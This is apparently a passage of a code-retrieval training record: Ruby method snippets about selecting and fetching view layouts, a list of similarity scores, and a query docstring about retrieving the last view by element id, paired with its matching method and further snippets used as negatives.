@admin_layout\n end", "def get_layout(property, prptfile)\n meta_doc = get_file_doc(prptfile, \"layout.xml\")\n property_val = meta_doc.elements[\"layout\"].attributes[property]\n\n if not property_val.nil?\n return property_val\n else\n return \"\"\n end\nend", "def _layout_for_name(name)\n unless [String, FalseClass, NilClass].include?(name.class)\n raise ArgumentError, \"String, false, or nil expected; you passed #{name.inspect}\"\n end\n\n name && view_paths.find_by_parts(name, {:formats => formats}, \"layouts\")\n end", "def layout; end", "def get_layout(layout_path)\n\n if layout_path.nil?\n contents = \"---\\n\"\n contents << \"title:\\n\"\n contents << \"layout: post\\n\"\n contents << \"date:\\n\"\n contents << \"---\\n\"\n ext = nil\n else\n begin\n contents = File.open(layout_path, \"r\").read()\n ext = layout_path.match(/\\.(.*?)$/)[1]\n rescue Errno::ENOENT\n bad_path(layout_path)\n end\n end\n\n return contents, ext\n end", "def dynamic_layout\n # ALL THIS SUCKS, I KNOW..\n \n # No layout for AJAX calls\n @layout = if request.xhr? \n nil\n # dialog param = lightview popup\n elsif params[:dialog]\n 'dialog'\n # uses user 'role' name for layout ... bad\n elsif current_user && !current_user.role.nil?\n current_user.role.downcase\n # no user, check for 'about' action\n elsif controller_name == 'about'\n 'about'\n # none of the above, use Rails default\n else\n 'home'\n end\n return nil unless @layout\n \n Rails.logger.debug \"Dyamic layout = #{@layout}\"\n # Layouts further divided by site subdomain: www vs vault\n if current_subdomain == 'vault'\n # Then public vs logged in...ugh\n if current_user\n @layout = 'vault/private/' + @layout\n else\n @layout = 'vault/public/' + @layout\n end\n end\n @layout\n end", "def layout\n return false unless layouts = controller.ancestral_trait[:layout]\n\n possible = [layouts[path], layouts[:all]].compact\n denied = layouts[:deny].to_a\n\n if layout = possible.first\n if layout.to_s !~ /\\A\\// # late bind layout action to current controller\n layout = R(controller, layout)\n end\n layout_action = Controller.resolve(layout)\n\n return false if denied.any?{|deny| deny === path} or layout_action.path == path\n\n if layout_action.controller != controller\n instance.instance_variables.each do |x|\n if layout_action.instance.instance_variable_defined?(x)\n Log.warn \"overwriting instance variable #{x} from layout controller with instance variable from action controller.\"\n end\n layout_action.instance.instance_variable_set(x, instance.instance_variable_get(x))\n end\n else\n layout_action.binding = binding\n layout_action.controller = controller\n layout_action.instance = instance\n end\n\n layout_action.path = nil\n layout_action\n end\n end", "def resolve_layout\n case action_name\n when \"create\", \"new\", \"index\"\n \"useraccount_layout\"\n else\n \"application\"\n end\n end", "def set_layout\n if %w( print plain ).include? params[:layout]\n params[:layout]\n else\n 'default'\n end\n end", "def layout layout = nil, *actions\n if (layout || layout == false) && configurable?\n @layouts ||= Hash.new\n layout = layout.to_s unless layout == false\n if actions.size == 0\n actions = ['*']\n @master_layout = layout\n end\n actions.each { |a| @layouts[a] = layout }\n end\n @setup[:layouts] ||= @layouts ||\n (@controller.ctrl.slice.view.layout if @controller) || {}\n end", "def layouts\n @layouts ||= Subdomain.new.layouts\n end", "def layouts\n @layouts || site.layouts\n end", "def render_layout(layout, **kwargs, &block)\n render html: capture(&block), layout: \"layouts/#{layout}\", **kwargs\n end", "def default_layout\n site.config.page_layout\n end", "def choose_layout\r\n return nil if action_name=='show'\r\n return 'usercenter' if action_name=='index' || action_name=='new'\r\n return 'public'\r\n end", "def _implied_layout_name; end", "def page_layout\n @user = User.current\n @blocks = @user.pref.my_page_layout\n end", "def get_view(viewname, params = nil)\n raise \"get_view not implemented\"\n end", "def fetch_layout_path(given_layout, layouts_path=views)\n layout_name = (given_layout || @layout || :application).to_s\n cache_layout_path(layout_name) do\n if layouts_path.is_a?(Array)\n layouts_path.each{ |layout_path| return layout_name if Dir[\"#{layout_path}/#{layout_name}.*\"].any?}\n elsif Pathname.new(layout_name).absolute? && Dir[\"#{layout_name}.*\"].any? || Dir[\"#{layouts_path}/#{layout_name}.*\"].any?\n layout_name\n else\n File.join('layouts', layout_name)\n end\n end\n end", "def _\n\t\tviewStack = self.instance_variable_get(\"@hooViews\");\n\t\treturn viewStack.last;\n\tend", "def find_layout\n raise 'This is a generic store. Please use a subclass.'\n end", "def ar_view\n view = nil\n\n if params[:view]\n view = self.class.ar_views[params[:view].to_sym] ||\n self.class.ar_model.interfaces[:rest].views[params[:view].to_sym]\n end\n\n view ||= self.class.ar_views[action_name.to_sym] ||\n self.class.ar_model.interfaces[:rest].views[action_name.to_sym] ||\n View.new(:anonymous)\n view\n end", "def layouts_path\n @layouts_path || root / 'layouts'\n end", "def layouts; end", "def layouts; end", "def page_layout\n if @page\n if params[:popup]\n \"modal\"\n elsif !@page.layout.blank?\n @page.layout\n else\n choose_layout\n end\n else\n params[:popup] ? 'modal' : choose_layout\n end\n end" ]
[ "0.7880605", "0.74371785", "0.726519", "0.72213805", "0.71000254", "0.69433266", "0.687381", "0.67814726", "0.6598563", "0.6558357", "0.6480237", "0.64305896", "0.6300226", "0.62878096", "0.62842095", "0.62837744", "0.6264509", "0.6254052", "0.62313205", "0.61782324", "0.61759853", "0.6122135", "0.6113338", "0.6089048", "0.60845023", "0.60821015", "0.60139424", "0.6004253", "0.5994733", "0.5966478", "0.59653133", "0.5937548", "0.59297913", "0.59046483", "0.584131", "0.58142734", "0.58088917", "0.5808586", "0.5798892", "0.57953346", "0.5791542", "0.5784828", "0.5766795", "0.5752989", "0.5749896", "0.57492304", "0.57007325", "0.56999934", "0.56794286", "0.56788516", "0.56750447", "0.5674774", "0.5661397", "0.56460893", "0.5640272", "0.5628779", "0.5625013", "0.56242174", "0.5622709", "0.5597271", "0.5581328", "0.5577306", "0.5576652", "0.553323", "0.5531553", "0.55225307", "0.5515844", "0.5512821", "0.55094326", "0.55048543", "0.5504243", "0.549978", "0.5496657", "0.5493271", "0.5490917", "0.5480873", "0.5477782", "0.5468219", "0.546291", "0.542999", "0.542723", "0.54271686", "0.5415737", "0.5409437", "0.54092896", "0.5405226", "0.53973496", "0.53746223", "0.53714526", "0.5371217", "0.5370798", "0.5369974", "0.53668916", "0.53553784", "0.53536534", "0.5341843", "0.5333585", "0.5330873", "0.5330873", "0.53149545" ]
0.73819125
2
Retrieves a view by its element id. This will return the last view with this element_id in the tree, where last means the last object that was added with that name.
def last(element_id) unless is_parent_layout? return parent_layout.last(element_id) end @elements[element_id] && @elements[element_id].last end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def last_view(element_id)\n element = last(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def get_view(element_id)\n element = get(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def nth_view(element_id, index)\n element = nth(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def get_view_for_viewid(view_id)\n\tp view_id\n\thttp = create_http\n\trequest = create_request(\"/rest/greenhopper/1.0/rapidviews/list\")\n\tresponse = http.request(request)\n\tviews = JSON.parse(response.body)['views']\n\tviews.each do |view|\n\t\tp view\n\t\tif view['id'] == view_id\n\t\t\treturn view\n\t\tend\n\tend\nend", "def all_views(element_id)\n element = all(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def get(element_id)\n unless is_parent_layout?\n return parent_layout.get(element_id)\n end\n @elements[element_id] && @elements[element_id].first\n end", "def GetView id\n\n APICall(path: \"views/#{id}.json\")\n\n end", "def get_element id\n @elements[id.to_s]\n end", "def get_view_for_viewid(view_id)\n http = create_http\n request = create_request(\"/rest/greenhopper/1.0/rapidviews/list\")\n response = http.request(request)\n views = JSON.parse(response.body)['views']\n views.each do |view|\n if view['id'] == view_id\n return view\n end\n end\nend", "def get_view_for_viewid(view_id)\n http = create_http\n request = create_request(\"/rest/greenhopper/1.0/rapidviews/list\")\n response = http.request(request)\n views = JSON.parse(response.body)['views']\n views.each do |view|\n if view['id'] == view_id\n return view\n end\n end\nend", "def view_last\n return @vassals[-1].view_last\n end", "def getObject(id)\n\t\tdoc.search(\"[@id='#{id}']\").first\n\tend", "def getViewObject(ixNet, viewName)\r\n views = @ixNet.getList('/statistics', 'view')\r\n viewObj = ''\r\n editedViewName = '::ixNet::OBJ-/statistics/view:\\\"' + viewName + '\\\"'\r\n for view in views\r\n if editedViewName == view then\r\n viewObj = view\r\n break\r\n end\r\n end\r\n return viewObj\r\nend", "def get_view(view_name)\r\n\t\t\tself.get_design_note(view_name, API::DFLAGPAT_VIEWS_AND_FOLDERS, View)\r\n\t\tend", "def find id\n model.find id\n end", "def retrieve\n self.class.get( id )\n end", "def child_by_id(id, scope = {})\n children_by_id(id, scope).first\n end", "def get_node(id)\n get_object('node', id)\n end", "def get(id)\n # @notes = sort_by(@options[:sort_by])\n @notes = sort(@notes)\n parent, child = id\n return child ? @notes[parent].childs[child] : @notes[parent]\n end", "def selected_view\n return @data[self.index].view\n end", "def selected_view\n return @data[self.index].view\n end", "def _\n\t\tviewStack = self.instance_variable_get(\"@hooViews\");\n\t\treturn viewStack.last;\n\tend", "def view(name = \"\", viewpoint: :total, elements: :all, relationships: :for_elements)\n dia = __model.diagrams.find { |diagram| diagram.name == name }\n __model.remove_reference(dia) if dia\n __model.diagrams << View.new(__model, name, dia&.id, viewpoint, elements, relationships).render\n end", "def find(id)\n @collection[id.to_s]\n end", "def find id\n return nil if node.ids.empty?\n node.send(:orm_class).find id\n end", "def by_name(name)\n elt = self[name]\n return elt unless elt.nil?\n\n @elements.each_key do |subelt_name|\n if self[subelt_name].is_a?(Model)\n elt = self[subelt_name][name]\n return elt unless elt.nil?\n end\n end\n\n nil\n end", "def find\n self.class.find(@view.layout)\n end", "def get_view(viewname, params = nil)\n raise \"get_view not implemented\"\n end", "def last_revision\n self.class.last_revision(id)\n end", "def get(template_id)\n id = connection.rname_to_id(template_id, :template)\n all.select { |template| template.id == String(id) }.first\n end", "def find(id)\n find_by_index(id: id)\n end", "def find(id)\n begin\n @@grid.get(id)\n rescue\n nil\n end\n end", "def get id\n doc = database.get id\n new(doc)\n end", "def path_to_view view\n paths_to_view(view).first\n end", "def edit\n id = params[:id].presence || 0 \n @element = @@model.find(id)\n end", "def return_content_by_id(id)\n current = nil\n stack = Stack.new\n stack.push(@root)\n until stack.empty?\n current = stack.pop\n return current if current.id.eql?(id)\n unless current.childs.size.zero?\n current.childs.reverse_each { |child| stack.push(child) }\n end\n end\n end", "def last\n asc(:id).last\n end", "def obtain(klass, root = Object)\n Innate.sync do\n view_name = /^#{klass.to_s.downcase.dup.delete('_')}$/i\n if view = View.constants.grep(view_name).first\n root.const_get(view)\n else\n raise(NameError, \"View #{klass} not found\")\n end\n end\n end", "def child(id)\n\t\t\t@log.debug(\"id #{id} is frozen?: #{id.frozen?}\")\n\t\t\t\n\t\t\tcase id\n\t\t\twhen String\n\t\t\t\t# Allow the user to use an underscore to specify an \n\t\t\t\t# ampersand for the control name.\n\t\t\t\tby_title = find_window_ex @handle, 0, nil, id.gsub('_', '&')\n\t\t\t\tby_class = find_window_ex @handle, 0, id, nil\n\t\t\t\tif (by_title == 0 && by_class == 0)\n\t\t\t\t\t@log.debug(\"Did not find by title or class, recursing children\")\n\t\t\t\t\t# @children = ChildRecurser.find_all_children(handle) if (@children == nil)\n\t\t\t\t\t# result = search_children(id)\n\t\t\t\t\tresult = ChildEnumerator.find_child(handle, id)\n\t\t\t\t\t@log.debug(\"Found child #{result} for id #{id}\") if (result > 0)\n\t\t\t\telse\n\t\t\t\t\tresult = (by_title > 0) ? by_title : by_class\n\t\t\t\tend\n\t\t\twhen Fixnum\n\t\t\t\tresult = get_dlg_item @handle, id\n\t\t\telse\n\t\t\t\tresult = 0\n\t\t\tend\n\t\n\t\t\traise \"Control '#{id}' not found\" if result == 0\n\t\t\tWindow.new result\n\t\tend", "def last\n find(:first, :conditions => {}, :sort => [[:_id, :asc]])\n end", "def find(id)\n @objects[id]\n end", "def last_revision(id)\n revision_record_class.last_revision(self, id)\n end", "def find_element(id, model)\n case model.downcase\n when 'work'\n return Work.find(id)\n when 'basicfile'\n return BasicFile.find(id)\n when 'singlefileinstance'\n return SingleFileInstance.find(id)\n when 'orderedinstance'\n return OrderedInstance.find(id)\n when 'person'\n return AuthorityMetadataUnit.find(id)\n else\n raise 'Unknown element type'\n end\n end", "def get_revision(id, options={})\n get_request(\"revisions/#{id}\", options)\n end", "def get id\n @nodes[id]\n end", "def get_object_by_id(class_name, id)\n obj = nil\n get_objects_of_class(class_name).each do |o|\n if o.id == id\n obj = o\n break\n end\n end\n obj\n end", "def get_object(name)\n gtk_builder_get_object(@builder, name)\n end", "def get_node(id)\n @nodes[id.to_i]\n end", "def find(id)\n @document\n end", "def find(id)\n @document\n end", "def find_by_id(id)\n models.each do |model|\n el = model.find_by_id(id)\n return el if el\n end\n nil\n end", "def element(id, params = {})\n get \"elements/#{id}\", {query: params}\n end", "def get(id)\n @documents[id.to_i]\n end", "def find(id)\n sort() unless @sorted\n @tree.bsearch { |x| x.id == id }\n end", "def locate(id)\n return self if are_you(id)\n \n i = @inv.fetch(id)\n return i if !i.nil?\n \n return nil\n end", "def last_revision\n self.revision_model.find(:first, :conditions => { klass + '_id' => self.id }, :order => \"number DESC\")\n end", "def result(name = nil)\n element_ids.to_a.id_to_element_route(:based_on => self, :name => name)\n end", "def retrieve(id)\n raise NotFound.new(\"id '#{id}'\") unless ids.include?(id)\n\n storage[id]\n end", "def get_document(id)\n @session.getDocument id\n end", "def get_object_from_db_id(db_object_id)\n get_object_from_db_object(@db_class.find(db_object_id))\n end", "def get_file_instance(id)\n raise 'The primary key must be an integer.' unless id.instance_of? Integer\n name_list = []\n while true\n file = Fileinfo[id] \n break if id == file.parent_id\n name_list.push(file.name)\n id = file.parent_id\n end\n find_file(name_list.reverse, 1)\n end", "def element_by_id(elem_id)\n @web_browser.element_by_id(elem_id)\n end", "def find(id)\n klass.find(id)\n end", "def find(id)\n end", "def ar_view\n view = nil\n\n if params[:view]\n view = self.class.ar_views[params[:view].to_sym] ||\n self.class.ar_model.interfaces[:rest].views[params[:view].to_sym]\n end\n\n view ||= self.class.ar_views[action_name.to_sym] ||\n self.class.ar_model.interfaces[:rest].views[action_name.to_sym] ||\n View.new(:anonymous)\n view\n end", "def get(id)\n klass.find(:first, params: { klass.primary_key => wrap_key(id) })\n end", "def find_view_holder\n\n view_holder_path = Themes::ThemeManager.instance.selected_theme.resource_path(\"#{frontend_skin_preffix}render-viewholder-#{view.render}.erb\",'template','cms') \n \n if not view_holder_path\n path = context.get_path(\"#{frontend_skin_preffix}render-viewholder-#{view.model_name}-#{view.render}\")\n view_holder_path = path if not path.nil? and File.exists?(path)\n end\n\n return view_holder_path\n\n end", "def get_by_db4o_id(id)\n obj = database.get_by_id(id.to_i)\n # NOTE: Activate depth should be configurable\n database.connection.activate(obj, 5)\n obj.load_attributes!\n end", "def fetch id\n each_unread([]) do |m|\n if m.id == id\n return m\n end\n end\n\n nil\n end", "def find_by_id(goid)\n self[goid]\n end", "def find(id)\n repository.find(id).documents.first\n end", "def get_element(path)\n elements = get_elements(path)\n elements[0] if elements\n end", "def get(id)\n record =\n if (id.is_a?(BSON::DBRef) && id.namespace == @collection)\n @dao.db.dereference(id)\n elsif (id.is_a?(String) && BSON::ObjectId.legal?(id))\n @dao.read(BSON::ObjectId.from_string(id))\n else\n @dao.read(id)\n end\n # Mongo is going to give me a record with the _id property set, not id\n translate(record)\n end", "def get_target(id)\n\t\ttarget = Target.find(:first, :conditions => [ \"id = ?\", id])\n\t\treturn target\n\tend", "def get_node_by_id(id, options={})\n options[:exactget] ||= {}\n options[:exactget][:id] = id.to_s\n ret = get_nodes(options)\n if ret.empty?\n warn \"Cannot find node #{name}\"\n ret = nil\n elsif ret.values.size == 1\n ret = ret.values[0]\n else\n raise \"Multiple nodes returned for #{name}\"\n end\n ret\n end", "def child(id)\n\t\t\tcase id\n\t\t\twhen String\n\t\t\t\t# Allow the user to use an underscore to specify an ampersand for\n\t\t\t\t# the control name.\n\t\t\t\tby_title = find_window_ex @handle, 0, nil, id.gsub('_', '&')\n\t\t\t\tby_class = find_window_ex @handle, 0, id, nil\n\t\t\t\tresult = (by_title > 0) ? by_title : by_class\n\t\t\twhen Fixnum\n\t\t\t\tresult = get_dlg_item @handle, id\n\t\t\telse\n\t\t\t\tresult = 0\n\t\t\tend\n\t\n\t\t\traise \"Control '#{id}' not found\" if result == 0\n\t\t\tWindow.new result\n\t\tend", "def window_by_id(id)\n @windows.ID(id)\n end", "def window_by_id(id)\n @windows.ID(id)\n end", "def window_by_id(id)\n @windows.ID(id)\n end", "def id; self['_id']; end", "def get(id, db = database)\n begin\n get!(id, db)\n rescue\n nil\n end\n end", "def last\n self.class.where(id: rid).chronological.last\n end", "def element_by_id(elem_id)\r\n @web_browser.element_by_id(elem_id)\r\n end", "def node_by_id(id)\r\n @nodes.each do |n|\r\n return n if n.attributes['id'] == id \r\n end\r\n end", "def eds_get_record(id, eds_params = nil)\n dbid, an = extract_dbid_an(id)\n eds = eds_session('bl-repo-find', eds_params)\n eds.retrieve(dbid: dbid, an: an)\n end", "def by_name\n refresh_view if refresh_view?\n\n cursor.render\n end", "def find(id)\n self.detect{|x| x.id == id.to_i}\n end", "def []( id )\n get_tree_by_id( id ) ||\n get_network_by_id( id )\n end", "def get_target(id)\n\t\ttarget = WmapTarget.find(:first, :conditions => [ \"id = ?\", id])\n\t\treturn target\n\tend", "def find_widget(widget_id)\n find {|node| node.name.to_s == widget_id.to_s}\n end", "def find_by_id(id)\n self.select { |record| record.id == id.to_s }.first\n end", "def find_by_id(id)\n self.select { |record| record.id == id.to_s }.first\n end", "def findme(id)\n self.helper('findme',id)\n return @doc.to_s\n end", "def get(id)\n Maglev::PERSISTENT_ROOT[self][id.to_i]\n end", "def direct_child_by_id(id, scope = {})\n direct_children_by_id(id, scope).first\n end", "def element(name)\n elements.find { |el| el.name == name.to_s }\n end", "def last\n order(:id).reverse.limit(1)\n end", "def get(id)\n collection.find_one({\n Crocoduck::Store.id_field => id.to_i\n })\n end", "def get(id)\n Maglev::PERSISTENT_ROOT[self][id.to_i]\n end", "def find_element_by_id(id)\n (e = @doc.at_css(\"##{id}\")) && NodeProxy.new(e)\n end" ]
[ "0.76032716", "0.7285928", "0.64575815", "0.6348033", "0.61473066", "0.61315274", "0.59403867", "0.58972687", "0.56723523", "0.56723523", "0.5428585", "0.53694504", "0.5360022", "0.5274789", "0.5267934", "0.5244456", "0.5243876", "0.5237767", "0.516572", "0.5161922", "0.5161922", "0.51351154", "0.51173455", "0.51158077", "0.51120144", "0.50976497", "0.5093319", "0.5061938", "0.50561404", "0.5042524", "0.50323814", "0.502779", "0.5026535", "0.50234663", "0.50171864", "0.5010365", "0.50020623", "0.49558276", "0.49404246", "0.49267885", "0.49227962", "0.49173743", "0.48907664", "0.48801562", "0.48776716", "0.48739406", "0.48645866", "0.48615992", "0.48551252", "0.48551252", "0.48548782", "0.48288667", "0.48136717", "0.48115754", "0.48099983", "0.48050895", "0.48005342", "0.47850978", "0.47847557", "0.47844574", "0.4778213", "0.47721103", "0.47674766", "0.4764614", "0.4760947", "0.4760019", "0.47576544", "0.47575393", "0.47568998", "0.4750257", "0.47447205", "0.4739926", "0.47377273", "0.47323266", "0.4729456", "0.4726638", "0.47234178", "0.47234178", "0.47234178", "0.47212958", "0.47204354", "0.47138882", "0.47089425", "0.47031826", "0.4691013", "0.46901485", "0.46852368", "0.4671703", "0.46716756", "0.4665425", "0.4660245", "0.4660245", "0.46579397", "0.46577477", "0.46575552", "0.46546215", "0.46533573", "0.46492052", "0.46491367", "0.46463227" ]
0.6152062
4
Just like `last`, but if `last` returns a Layout, this method returns the layout's view.
def last_view(element_id) element = last(element_id) if element.is_a?(Layout) element = element.view end element end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def view\n unless is_parent_layout?\n return parent_layout.view\n end\n @view ||= build_view\n end", "def find\n self.class.find(@view.layout)\n end", "def layout\n lookup_layout\n end", "def layout \n return @layout\n end", "def _\n\t\tviewStack = self.instance_variable_get(\"@hooViews\");\n\t\treturn viewStack.last;\n\tend", "def layout_name\n controller = @tracker.controllers[@current_class]\n\n return controller[:layout] if controller[:layout]\n return false if controller[:layout] == false\n\n app_controller = @tracker.controllers[:ApplicationController]\n\n return app_controller[:layout] if app_controller and app_controller[:layout]\n\n nil\n end", "def current_layout\n config = PSDK_CONFIG.layout.choices\n return config[$scene.class.to_s] || config[:any]\n end", "def layout\n self.class.layout || @app.layout\n end", "def current_layout\n @site_layout ||= SiteLayout.first\n end", "def get_view(element_id)\n element = get(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def current_layout\n config = PSDK_CONFIG.layout.messages\n return config[$scene.class.to_s] || config[:any]\n end", "def view_last\n return @vassals[-1].view_last\n end", "def nth_view(element_id, index)\n element = nth(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def layout\n @layout\n end", "def find_layout\n return nil if @model.nil?\n layout_name = @special_layout[@model] || @model.to_s.tableize + ' (table)'\n if (layout = layout_or_nil(layout_name))\n LOG.info(\"\\n==== Model: #{@model.to_s} <- Layout: #{layout.name} ====\")\n return layout\n else \n LOG.warn \"WARNING: Layout \\\"#{layout_name}\\\" does not exist.\"\n return nil\n end\n end", "def current_layout\n controller.send :_layout # private method\n end", "def _layout_for(name = nil)\n name ||= :layout\n view_flow.get(name).html_safe\n end", "def get_layout(layout)\n logger.debug( [ 'layout', \"#{$pjpp_locale}/#{$pjpp_template_set}/layouts/#{$pjpp_layout_set}/#{layout}\" ] )\n \"#{$pjpp_locale}/#{$pjpp_template_set}/layouts/#{$pjpp_layout_set}/#{layout}\"\n end", "def layout(new_layout = nil)\n @layout = new_layout if new_layout\n @layout\n end", "def bottom()\n @view__.bottom\n end", "def get_layout(tpl)\n layout = \"#{tpl}_layout\"\n return layout if File.exists?(self.get_tpl_file(layout))\n\n items = tpl.split(/\\//)\n items.pop\n items << 'layout'\n layout = File.join(*items)\n return layout if File.exists?(self.get_tpl_file(layout))\n\n return \"layout\" if File.exists?(self.get_tpl_file(\"layout\"))\n\n return nil\n end", "def pos\n @layout[@pos - 1]\n end", "def layout\n @layout ||= layout_class.new(@rack_context)\n end", "def layout\n nil\n end", "def last(element_id)\n unless is_parent_layout?\n return parent_layout.last(element_id)\n end\n @elements[element_id] && @elements[element_id].last\n end", "def layout_or_nil(layout_name)\n begin\n if (layout = Rfm.layout(layout_name)).table then layout; end\n rescue nil\n end\n end", "def layout\n return @layout if @layout\n return if no_layout?\n\n @layout = site.layouts[data.layout].tap do |layout|\n unless layout\n Bridgetown.logger.warn \"Generated Page:\", \"Layout '#{data.layout}' \" \\\n \"requested via #{relative_path} does not exist.\"\n end\n end\n end", "def layout\n properties[:layout]\n end", "def top()\n @view__.top\n end", "def default_layout\n nil\n end", "def layout\n nil\n end", "def layout_for(klass)\n memoized_klass = memoize(klass)\n memoized_klass && memoized_klass.new\n end", "def layout\n @current_layout ||= :default_layout\n send(\"#{@current_layout}\"){ yield }\n end", "def get_layout\n layout ||= Spree::Config[:layout]\n end", "def lookup_layout\n return \"{{{content}}}\" if metadata.key?('layout') && !metadata['layout']\n\n name = metadata['layout'] || 'page'\n name = name + '.mustache' unless name.end_with?('.mustache')\n\n path = ::File.join('_layouts', name)\n dir = ::File.join(wiki.path, ::File.dirname(file.path))\n\n layout_file = lookup_path(path, dir)\n\n if layout_file\n IO.read(layout_file)\n else\n default_layout\n end\n end", "def controller_layout\n layout = self.send(:_layout)\n if layout.instance_of? String\n layout\n else\n File.basename(layout.identifier).split('.').first\n end\n end", "def get_search_layout(layout)\n get_user_search_layout(layout) ||\n get_system_search_layout(layout) ||\n nil\n end", "def layout\n yield(layout_for) if block_given?\n layout_for\n end", "def layout_class val = nil\n @layout_class = val if val\n @layout_class\n end", "def get_layout\n layout ||= Spree::Frontend::Config[:layout]\n end", "def _implied_layout_name; end", "def view_class_name\n view_class_components.join('_').camelize.sub(/^Layouts/, '')\n end", "def get_layout_from_params\n params[:layout] ? params[:layout] : 'application' \n end", "def layout(&block)\n layout = Layout.new\n layout.instance_eval(&block)\n # return the layout descriptor\n layout\n end", "def closest_parent(type, this_view = nil)\n this_view ||= view_or_self.superview\n while this_view != nil do\n return this_view if this_view.is_a? type\n this_view = this_view.superview\n end\n nil\n end", "def [](layout_name)\n layouts[layout_name]\n end", "def layout(value = nil)\n if value\n @layout = value\n else\n @layout\n end\n end", "def layout\n\n raise \"Missing bulletin for layout object!\" if (! self.bulletin)\n \n raise \"Missing layout style/name for layout object!\" if (! self.name)\n\n # assume everything prepared if this is already set (caching!)\n return @layout if (@layout)\n\n # Load layout from the database\n while (! @layout)\n @layout = TempletLayout.find(:first, \n :conditions => ['templet_id = ? AND name = ?', self.bulletin.templet_id, self.name ])\n if !@layout and self.name == 'print'\n # set to main, if print layout not found\n self.name = 'main'\n elsif not @layout\n raise \"Invalid layout selected!\" if (! @layout) \n end\n end\n \n \n # copy the details accross for the layout\n self.filetype = @layout.filetype\n self.charset = @layout.charset\n \n return @layout\n end", "def choose_layout\n Rails.configuration.blog.layout\n end", "def determine_layout\n ['show'].include?(action_name) ? 'application' : nil \n end", "def determine_layout\n return @__layout if @__layout\n return false if params[:_no_layout] || request.xhr?\n\n @__layout ||= current_page.layout.try(:template) if current_page.present? \n @__layout ||= 'application/default'\n @__layout\n end", "def layout(value = nil)\n if value.nil?\n @layout ||= nil\n @_layout ||= Rendering::LayoutFinder.find(@layout || configuration.layout, configuration.namespace)\n elsif !value\n @layout = Hanami::View::Rendering::NullLayout\n else\n @layout = value\n end\n end", "def getLayoutData\n @layoutData\n end", "def default_layout_for_request\n return params[:__layout] if params[:__layout]\n return params[:layout] if params[:layout]\n 'application'\n end", "def last_text\n last_ele TEXT_VIEW\n end", "def find_layout\n raise 'This is a generic store. Please use a subclass.'\n end", "def selected_view\n return @data[self.index].view\n end", "def selected_view\n return @data[self.index].view\n end", "def determine_layout\n 'akinu'\n end", "def inside_layout(layout, &block)\n binding = block.binding if BINDING_REQUIRED\n\n layout = Dir.entries('app/views/layouts').detect { |a| /#{layout}/.match(a) }\n @template.instance_variable_set('@content_for_layout', capture(&block))\n concat(\n @template.render(:file => \"#{RAILS_ROOT}/app/views/layouts/#{layout}\", :user_full_path => true),\n binding\n )\n end", "def get(element_id)\n unless is_parent_layout?\n return parent_layout.get(element_id)\n end\n @elements[element_id] && @elements[element_id].first\n end", "def layout_contents\n layout.render(self)\n end", "def layout_template\n Admin::MessageTemplate.active.layout_templates.named layout_template_name, type: message_type\n end", "def get_layout(layout_path)\n\n if layout_path.nil?\n contents = \"---\\n\"\n contents << \"title:\\n\"\n contents << \"layout: post\\n\"\n contents << \"date:\\n\"\n contents << \"---\\n\"\n ext = nil\n else\n begin\n contents = File.open(layout_path, \"r\").read()\n ext = layout_path.match(/\\.(.*?)$/)[1]\n rescue Errno::ENOENT\n bad_path(layout_path)\n end\n end\n\n return contents, ext\n end", "def get_page_layout(params)\n if params[:layout] == 'comatose_content'\n File.join(plugin_layout_path, params[:layout])\n else\n params[:layout]\n end\n end", "def layout\n yield(monitoring_layout)\n monitoring_layout\n end", "def admin_layout \n @admin_layout\n end", "def master_layout\n @setup[:master_layout] ||= @master_layout ||\n (@controller.ctrl.slice.view.master_layout if @controller)\n end", "def default_layout\n @default_layout ||= (\n IO.read(LIBDIR + \"/templates/layouts/page.mustache\")\n )\n end", "def layouts_path\n @layouts_path || root / 'layouts'\n end", "def default_layout\n 'default' if html?\n end", "def window_layout(window)\n window =~ /\\[layout (\\S+)\\]/\n $1\nend", "def static_layout\n nil\n end", "def layout_name\n Conf.layouts.each do |k,v|\n if v[\"network_id\"] == id\n return k\n end\n end\n\n return nil\n end", "def select_layout\n user_signed_in? ? 'application' : 'external'\n end", "def get_page_layout\n if params[:layout] == 'comatose_content'\n File.join(plugin_layout_path, params[:layout])\n else\n params[:layout]\n end\n end", "def get_layout\n\tlogged_in? and :page_user or :page_visitor\nend", "def page_layout\n if @page\n if params[:popup]\n \"modal\"\n elsif !@page.layout.blank?\n @page.layout\n else\n choose_layout\n end\n else\n params[:popup] ? 'modal' : choose_layout\n end\n end", "def determine_layout\n current_user ? 'logged_in' : 'not_logged_in'\n end", "def get_content_for_layout()\n get_partial(@type)\n # if @type == \"home\"\n # get_partial('home')\n # elsif @type == \"page\"\n # get_partial('page')\n # elsif @type == \"article\"\n # get_partial('article')\n # elsif @type == \"category\"\n # get_partial('category')\n # end\n end", "def layout(name=:layout, &b)\n template(name, &b)\n end", "def get_layout\n layout ||= Amz::Config[:layout] \n layout = Amz::Config[:amp_layout] \n # layout = Amz::Config[:mobile_layout] if browser.mobile?\n # layout = Amz::Config[:tablet_layout] if browser.tablet?\n layout\n end", "def layout_for(area = :reader)\n default = Radiant::Config[\"#{area}.layout\"]\n name = if self.respond_to?(\"#{area}_layout\") && layout = self.send(\"#{area}_layout\".intern)\n layout.name\n elsif layout = Layout.find_by_name(default)\n layout.name\n elsif layout = self.reader_layout\n layout.name\n end\n name\n end", "def default_layout\n site.config.page_layout\n end", "def layout()\n layout_children()\n end", "def get_view\n\t\treturn \"content_widget\"\n\tend", "def find_view_holder\n\n view_holder_path = Themes::ThemeManager.instance.selected_theme.resource_path(\"#{frontend_skin_preffix}render-viewholder-#{view.render}.erb\",'template','cms') \n \n if not view_holder_path\n path = context.get_path(\"#{frontend_skin_preffix}render-viewholder-#{view.model_name}-#{view.render}\")\n view_holder_path = path if not path.nil? and File.exists?(path)\n end\n\n return view_holder_path\n\n end", "def render_layout(output, layout, info); end", "def get_view_definition(design, view)\n design_documents = read_inheritable_attribute(:design_documents) || {}\n design_doc = design_documents[design.to_s]\n return nil unless design_doc\n return design_doc[:views][view]\n end", "def layout(model)\n #Rfm.layout(model.storage_name, 